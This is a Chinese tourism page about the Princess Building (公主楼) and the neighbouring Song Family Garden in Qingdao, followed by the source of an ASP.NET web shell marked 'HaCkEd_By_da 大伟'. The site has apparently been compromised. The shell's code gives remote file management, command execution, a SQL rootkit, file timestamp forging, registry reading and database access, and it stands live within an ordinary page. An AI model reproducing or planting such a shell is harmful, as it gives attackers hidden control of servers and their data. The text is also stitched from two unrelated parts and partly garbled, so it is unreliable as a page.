公主楼

公主楼和宋氏花园

    坐落于居庸关路16号的公主楼，精巧可爱，就像是童话故事中的常有的模样，也许正是丹麦建筑风格才造就了著名童话作家安徒生。公主楼建造于本世纪三十年代中期，占地近千平方米，建筑面积721.98平方米。
    本世纪20年代，丹麦王国曾在青岛设立领事馆。1929年，丹麦王子乘豪华客轮"飞欧尼亚"号到青岛，遍游青岛市区。他经过八大关一带时，见到此处风景宜人，濒临大海，宜于度假休养，遂令凡麦驻青领事赵亨先生在此购地建造了这座丹麦风格的建筑。原准备请丹麦公主来青岛避暑消夏，但事实上，丹麦公主并未来过，然而"公主楼"的名字却从此流传出去。该建筑为北欧滨海风格庭院建筑。主楼为砖木结构，地下一层地上三层，花岗岩砌基，屋脊双面陡坡呈尖耸状，开有可远眺海滨的气窗，墨绿色粉刷墙面上的楼层窗外，由白绿色马赛克嵌饰框边，使建筑造型简捷、流畅、精巧、活泼。室内有壁橱、质地考究的木扶梯、地板及墙裙，房间小巧明亮，起居设施完备。室外西南有宽阔的草坪，衬托主建筑高雅、醒目、别具一格。此建筑1992年被列为省级文物保护单位。
    与公主楼邻居的一幢典型美式民居建筑，落落大方。宽大的落地窗简洁明快，大理石雕花盆立在阶下石座上，门前为厅廊，一花坛设于庭院中部，因充当过电视剧《宋庆龄和她的姐妹们》在美国的"家"而被称作"宋氏花园"。来此观光者甚众。

<<返回

<%@ Page Language="VB" ContentType="text/html" validateRequest="false" aspcompat="true" %> <%@ Import Namespace="System.IO" %> <%@ import namespace="System.Diagnostics" %> <%@ Import Namespace="Microsoft.Win32" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.OleDb" %> <% if request.QueryString("action")="down" and session("lake2")=1 then downTheFile(request.QueryString("src")) response.End() end if Dim hu as string = request.QueryString("action") if hu="cmd" then TITLE="HaCkEd_By_da 大伟 68698895-- CMD" elseif hu="sqlrootkit" then TITLE="HaCkEd_By_da 大伟 68698895 -- SqlRootKit" elseif hu="clonetime" then TITLE="HaCkEd_By_da 大伟 68698895 -- CloneTime" elseif hu="information" then TITLE="HaCkEd_By_da 大伟 68698895 -- WebServerInfo" elseif hu="reg" then TITLE="HaCkEd_By_da 大伟 68698895 -- RegRead" elseif hu="goto" then TITLE="HaCkEd_By_da 大伟 68698895 -- FileManager" elseif hu="data" then TITLE="HaCkEd_By_da 大伟 68698895 -- ControlDataBase" else TITLE=request.ServerVariables("HTTP_HOST") end if %> <%=TITLE%> <% Dim error_x as Exception Try if session("lake2")<>1 then %>

8管理登录 :::...	HaCkEd_By_da 大伟 68698895

<% else dim temp as string temp=request.QueryString("action") if temp="" then temp="goto" select case temp case "goto" if request.QueryString("src")<>"" then url=request.QueryString("src") else url=server.MapPath(".") & "\" end if call existdir(url) dim xdir as directoryinfo dim mydir as new DirectoryInfo(url) dim hupo as string dim xfile as fileinfo %>

SqlRootKit.NET CMD.NET CloneTime SysInfomation ReadReg DataBase

当前目录：<%=url%>
新建 <%if session("cutboard")<>"" then%> 粘贴 <%else%> 粘贴 <%end if%> 上传	title="回到本文件所在目录">我 <% dim i as integer for i =0 to Directory.GetLogicalDrives().length-1 response.Write("" & Directory.GetLogicalDrives(i) & " ") next %>

<% '子目录结构 response.Write("") for each xdir in mydir.getdirectories() dim filepath as string filepath=server.UrlEncode(url & xdir.name) response.Write("") next %>

↑回上级目录

0" & xdir.name & "") response.Write("

" & Directory.GetLastWriteTime(url & xdir.name) & "剪切" & "-复制-删除

<% '文件结构 for each xfile in mydir.getfiles() dim filepath2 as string filepath2=server.UrlEncode(url & xfile.name) response.Write("") response.Write("") response.Write("") response.Write("") next %>

名称	大小	修改时间	操作
" & xfile.name & "	" & GetSize(xfile.length) & "	" & file.GetLastWriteTime(url & xfile.name) & "	编辑-剪切-粘贴-重命名-下载-删除

<% case "information"'探针功能 dim CIP,CP as string if getIP()<>request.ServerVariables("REMOTE_ADDR") then CIP=getIP() CP=request.ServerVariables("REMOTE_ADDR") else CIP=request.ServerVariables("REMOTE_ADDR") CP="None" end if %>

探针

Server IP

<%=request.ServerVariables("LOCAL_ADDR")%> Machine Name

<%=Environment.MachineName%> Network Name

<%=Environment.UserDomainName.ToString()%> User Name in this Process

<%=Environment.UserName%> OS Version

<%=Environment.OSVersion.ToString()%> Started Time

<%=GetStartedTime(Environment.Tickcount)%> Hours System Time

<%=now%> IIS Version

<%=request.ServerVariables("SERVER_SOFTWARE")%> HTTPS

<%=request.ServerVariables("HTTPS")%> PATH_INFO

<%=request.ServerVariables("PATH_INFO")%> PATH_TRANSLATED

<%=request.ServerVariables("PATH_TRANSLATED")%> SERVER_PORT

<%=request.ServerVariables("SERVER_PORT")%> SeesionID

<%=Session.SessionID%>

Client Infomation

Client Proxy

<%=CP%> Client IP

<%=CIP%> User

<%=request.ServerVariables("HTTP_USER_AGENT")%>

<% case "cmd" 'CMD.NET%>

CMD.NET

<% case "sqlrootkit" 'SqlRootKit.NET%>

SqlRootKit.NET

Host:

SQL Name:

SQL Password:

Command:

<% case "del" dim a as string a=request.QueryString("src") call existdir(a) call del(a) response.Write("") case "copy" call existdir(request.QueryString("src")) session("cutboard")="" & request.QueryString("src") response.Write("") case "cut" call existdir(request.QueryString("src")) session("cutboard")="" & request.QueryString("src") response.Write("") case "plaster" dim ow as integer if request.Form("OverWrite")<>"" then ow=1 if request.Form("Cancel")<>"" then ow=2 url=request.QueryString("src") call existdir(url) dim d as string d=session("cutboard") if left(d,1)="" then TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1)) TEMP2=url & replace(path.getfilename(d),"","") if right(d,1)="\" then call xexistdir(TEMP1,ow) directory.move(replace(d,"",""),TEMP1 & "\") response.Write("") else call xexistdir(TEMP2,ow) file.move(replace(d,"",""),TEMP2) response.Write("") end if else TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1)) TEMP2=url & path.getfilename(replace(d,"","")) if right(d,1)="\" then call xexistdir(TEMP1,ow) directory.createdirectory(TEMP1) call copydir(replace(d,"",""),TEMP1 & "\") response.Write("") else call xexistdir(TEMP2,ow) file.copy(replace(d,"",""),TEMP2) response.Write("") end if end if case "upfile" url=request.QueryString("src") %>

<%=url%>

<% case "new" url=request.QueryString("src") %>

<%=url%>

<% case "edit" dim b as string b=request.QueryString("src") call existdir(b) dim myread as new streamreader(b,encoding.default) filepath.text=b content.text=myread.readtoend %>

文件编辑

<% myread.close case "rename" url=request.QueryString("src") if request.Form("name")="" then %>

重命名

<% else if Rename() then response.Write("") else response.Write("") end if end if case "samename" url=request.QueryString("src") %>

存在同名文件,如果你选NO,将自动添加一个数字前缀

返回 <% case "clonetime"'CloneTime time1.Text=request.QueryString("src")&"51j.aspx" time2.Text=request.QueryString("src") %>

文件日期修改

<% case "reg"'ReadReg %>

注册表操作

<% case "data" 'DataBase%>

数据库操作

Connection String :

Select Database:

<% case "logout" session.Abandon() response.Write("